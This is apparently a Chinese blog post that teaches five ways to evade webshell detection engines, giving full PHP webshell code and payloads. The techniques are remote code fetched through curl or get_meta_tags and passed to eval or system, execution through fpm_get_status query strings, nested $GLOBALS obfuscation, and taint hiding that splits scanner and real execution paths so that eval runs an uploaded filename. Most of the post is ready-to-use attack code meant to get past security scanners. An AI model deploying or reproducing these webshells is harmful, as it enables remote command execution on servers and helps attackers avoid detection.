当前位置: 首页 > web >正文

WEB安全--RCE--webshell bypass

一、get_meta_tags

原理:

用PHP的get_meta_tags()函数获取远程服务器中html页面的meta标签中的值,我们将meta的值设为如下命令执行语句,就能被webshell接收并拼接成

system(whoami);

这样的形式在受害机上执行。

服务器内容:

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="a" content="system"><meta name="b" content="whoami"><title>Document</title>
</head>
<body><div>webshell bypass</div>
</body>
</html>

webshell:

<?php
get_meta_tags("http://127.0.0.1/rce/bypass.html")["a"](get_meta_tags("http://127.0.0.1/rce/bypass.html")["b"]);

访问webshell执行命令:

二、curl

原理:

使用PHP的curl命令访问远程服务器的txt文件,将文件内容赋值给$output变量,并用

eval($output)

这种方式执行txt文件中的内容system(whoami);实现命令执行。

1.txt:

system(whoami);

webshell:

<?php
$url="http://127.0.0.1/rce/1.txt";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
//curl_setopt($ch,CURLOPT_HTTPHEADER,$headerArray);
$output = curl_exec($ch);
curl_close($ch);
echo $output;
eval($output);
?>

三、fpm_get_status

原理:

fpm_get_status用于获取 PHP-FPM(FastCGI Process Manager)的状态信息。

我们可以在打印fpm_get_status()信息时传参,这样其中的query-string就会接收到我们传递的值

并且在执行的时候可能是不同的进程,也就是你所在的数组可能是数组0也可能是数组1,所以进行for循环,循环出来就可以百分百执行命令

webshell:

<?php
foreach(fpm_get_status()["procs"] as $val){system($val["query-string"]);
}

payload:

127.0.0.1/rce/bypass.php?whoami

四、$GLOBALS

原理:

当查杀引擎对$GLOBALS全局变量传参点进行了检测,但是没有严格执行递归检测,就可以通过获取多个$GLOBALS参数干扰检测

然后用[_GET]获取我们URL中传递的命令

由于system会被拦截,所以通过substr(timezone_version_get(),2)的方式获取system

最后通过system执行命令

webshell:

<?php
$m=($GLOBALS[GLOBALS][GLOBALS][GLOBALS][GLOBALS][GLOBALS][GLOBALS][GLOBALS][GLOBALS][GLOBALS
][_GET][b]);
substr(timezone_version_get(),2)($m);

payload:

127.0.0.1/rce/bypass.php?b=whoami



五、隐藏污点

webshell:

<?php
$b = "111";
$c = "222";
if(get_cfg_var('error_reporting')>0){$b="#";
}
$a = array( "one"=>$c,"two"=>&$c );
$url = "http://127.0.0.1".$b."?a=1";
$d =parse_url($url);
if($d['query']){$c="echo 111;";
}
else{$c=$_FILES['useraccount']['name'];
}
var_dump($a["two"]);
eval($a["two"]);
?>

查杀引擎检测代码走的路径:

$b="111" $c="111"

==> $url="http://127.0.0.1/111?a=1"

==> $d['query']="a=1"

==> $c="echo 111"

==> $a[two]="echo 111"

==> eval(echo 111)

实际访问时代码走的路径:

$b="111" $c="111"

==> $url="http://127.0.0.1/#?a=1"

==> $d['query']=NULL

==> $c=$_FILES['useraccount']['name']

==> $a[two]=$_FILES['useraccount']['name']

==> eval($_FILES['useraccount']['name'])


主要原因是这一步get_cfg_var('error_reporting'),当动态查杀引擎没有配置error_reporting这个参数,而真实环境中配置了该参数,那么走向就会截然不同,在上面代码中就会让 $b="#"

$d =parse_url($url)是以数组形式获取url中的各个值,不过当url中有#时,其后面的内容就会被忽略,所以$d['query']=NULL,于是就走到else判断中去了

配合文件上传:

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>upload</title>
</head>
<body><form action="bypass.php" method="post" enctype="multipart/form-data"><input type="file" name="useraccount"><input type="submit" value="upload"></form>
</body>
</html>

注意 :<input type="file" name="useraccount">

修改filename字段:system('whoami');

http://www.xdnf.cn/news/2114.html

相关文章:

  • 数据分析岗位-相关知识
  • Nginx性能优化:从配置到缓存,全面提升Web服务器性能
  • Datawhale AI春训营二期---使用AI实现老人的点餐效果(关于task2的相关思考)
  • [FPGA Video IP] Video Processing Subsystem
  • 基于Tcp协议的应用层协议定制
  • 软件技术专业
  • CF-Hero:自动绕过CDN找真实ip地址
  • 深入理解 C++ 三法则:资源管理的关键准则
  • Linux基础IO(十一)之动态库(基础IO的最后一篇啦!)
  • 智能座舱背后的秘密:智能座舱测试如何“具身智能”
  • Golang | 自行实现并发安全的Map
  • 在 WSL 安装 OpenFOAM-12
  • 【软件工程】TCP三次握手中的SYN与ACK:核心机制详解
  • 使用ast解ob混淆时关于types的总结
  • leetcode刷题日记——简化路径
  • AI与思维模型【79】——煤气灯效应
  • 深入解析Mlivus Cloud核心架构:rootcoord组件的最佳实践与调优指南
  • 【金仓数据库征文】交通行业的国产化数据库替换之金仓数据库KingbaseES应用实践
  • 【风控】稳定性指标PSI
  • 基于STM32、HAL库的MAX31865模数转换器ADC驱动程序设计
  • 消息队列mq在Mlivus Cloud向量数据库中的关键配置与最佳实践
  • C++智能指针概念理解的面试题
  • window.location.href的用法
  • 基于 Netmiko 的网络设备自动化操作
  • 《逐梦九天:中国航天编年史》
  • QT文本框(QTextEdit)设置内容只可复制粘贴
  • C++:继承机制详解
  • Cursor 配置 MCP Tool
  • 写在后面的话
  • yolo常用操作(长话短说)热力图,特征图,结构图,训练,测试,预测